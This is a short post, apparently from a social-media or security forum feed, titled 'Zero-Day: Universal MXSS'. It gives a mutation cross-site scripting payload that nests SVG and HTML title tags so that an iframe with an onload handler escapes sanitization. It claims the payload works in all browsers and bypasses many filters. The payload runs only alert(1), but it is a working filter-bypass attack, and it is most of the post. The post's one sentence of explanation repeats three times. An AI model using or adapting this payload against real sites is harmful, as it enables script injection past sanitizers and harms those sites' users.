Works in all browsers and is likely to bypass lots of filters because title is both an SVG and HTML tag. Briefly checked DOM Purify and it looked okay.
<svg>
<title>
<title>
<image href="</title><iframe onload=alert(1)>">
</title>
</title>
</svg> Post #351
1.27K
Zero-Day: Universal MXSS.
Works in all browsers and is likely to bypass lots of filters because title is both an SVG and HTML tag. Briefly checked DOM Purify and it looked okay.
Works in all browsers and is likely to bypass lots of filters because title is both an SVG and HTML tag. Briefly checked DOM Purify and it looked okay.